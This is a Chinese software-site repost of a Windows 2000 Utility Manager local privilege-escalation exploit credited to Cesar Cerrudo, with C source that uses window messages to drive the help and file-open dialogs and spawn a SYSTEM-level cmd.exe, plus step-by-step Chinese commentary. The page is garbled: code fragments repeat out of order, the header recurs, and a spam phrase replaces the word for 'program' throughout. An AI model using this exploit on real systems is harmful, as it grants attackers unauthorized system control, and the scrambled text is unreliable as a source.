|
作者：未知 来源：未知 加入时间：2004-7-17 天新软件园
这个是源企业即使通讯方案：
//by Cesar Cerrudo sqlsec at ccc.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
//get navigation bar handle
//一定要是postmessageSleep(500);
// 得到文件打开对话框句柄lHandle = FindWindow("#32770","打开");
// 得到文件打开对话框中输入文件名编辑框的句柄,这个编辑框的ID为47clHandle2 = GetDlgItem(lHandle, 0x47C);Sleep(500);
//设置文件名编辑框的值为cmd.ex?SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);Sleep(800);
//输入回车,这样打开对话框的文件列表中就会显示.ex?文件,否则显示的
//是.hlp文件,因为默认只能打开后缀是.hlp的文件.
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
//得到打开对话框左边的企业即使通讯方案栏(就是历史,桌面,我的文档大图标)的句柄
//ToolbarWindow32这个控件类名为lHandle2 = GetDlgItem(lHandle, 0x4A0);
//发送tab消息,这样焦点就在右边的文件列表控件中了.SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);Sleep(500);//得到打开对话框的子控件文件列表控件的句柄lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);//得到列表控件的子控件syslistview32的句柄,控件id为1lHandle2 = GetDlgItem(lHandle2, 0x1);SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0);
// send "c" charSendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0);
// send "m" charSendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0);
// send "d" char
//发送cmd这样是为了把焦点准确的落在cmd.exe上
//奇怪的是手工一个一个的输入cmd则不行哟Sleep(800);
// 打开右键菜单PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);Sleep(1000);
//通过当前的光标位置来得到右键菜单句柄point.x =10; point.y =30;lHandle2=WindowFromPoint(point);SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);
// 在右键菜单中下移一个选项SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);
// 在右键菜单中下移一个选项这时落在打开上SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0);
// 发送回车SendMessage (lHandle, WM_CLOSE,0,0);
//关闭文件打开对话框return(0);}在单机运行此程序,以上的操作是隐藏性的,过程只有几秒钟时间至于
它的利用条件~在进一步的参考
//popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);
// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
Sleep(500);
SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
return 0;
}
本人根据以上企业即使通讯方案编译了一个小企业即使通讯方案， 由于不是十分完善， 暂时不发布
只将UtilMan.exe的简单分析做了个说明：
UtilMan.exe的新漏洞简单分析该漏洞在2k+sp4下测试成功.
大概意思是:
// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager得到一个系统权限的
shellchar sText[]="%windir%\\system32\\cmd.ex?";
//不是.exe
// 运行企业即使通讯方案管理器
//WinExec ("utilman.exe /start",SW_SHOW);
//Sleep(500);
// 打开帮助,这时执行了winhlp32.exe,4d号消息是未公开的相当于按下F1吧
SendMessage(FindWindow(NULL, "企业即使通讯方案管理器"), 0x4D, 0, 0);Sleep(500);
// 打开文件打开对话框,winhlp32.exe中44d为菜单栏打开选项的
IDPostMessage(FindWindow(NULL, "Windows 帮助"), WM_COMMAND, 0x44D, 0);
#include "stdio.h"
#include "windows.h"
lHandle2 = GetDlgItem(lHandle, 0x4A0);
W2kUtilManExp
//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);
int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
char sText[]="%windir%\\system32\\cmd.ex?";
// run utility manager
// system("utilman.exe /start");
// Sleep(500);
lHandle=FindWindow(NULL, "Utility manager");
if (!lHandle) {
printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
return 0;
}
PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar
Sleep(100);
SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP 0x0365 lParam must be <>NULL
Sleep(300);
SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN,
VK_RETURN, 0);
Sleep(500);
// find open file dialog window
lHandle = FindWindow("#32770","Open");
// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);
// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);
// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
W2kUtilManExp企业即使通讯方案程序企业即使通讯方案及企业即使通讯方案分析
作者：未知 来源：未知 加入时间：2004-7-17 天新软件园
这个是源企业即使通讯方案： //by Cesar Cerrudo sqlsec at yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);
//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char |
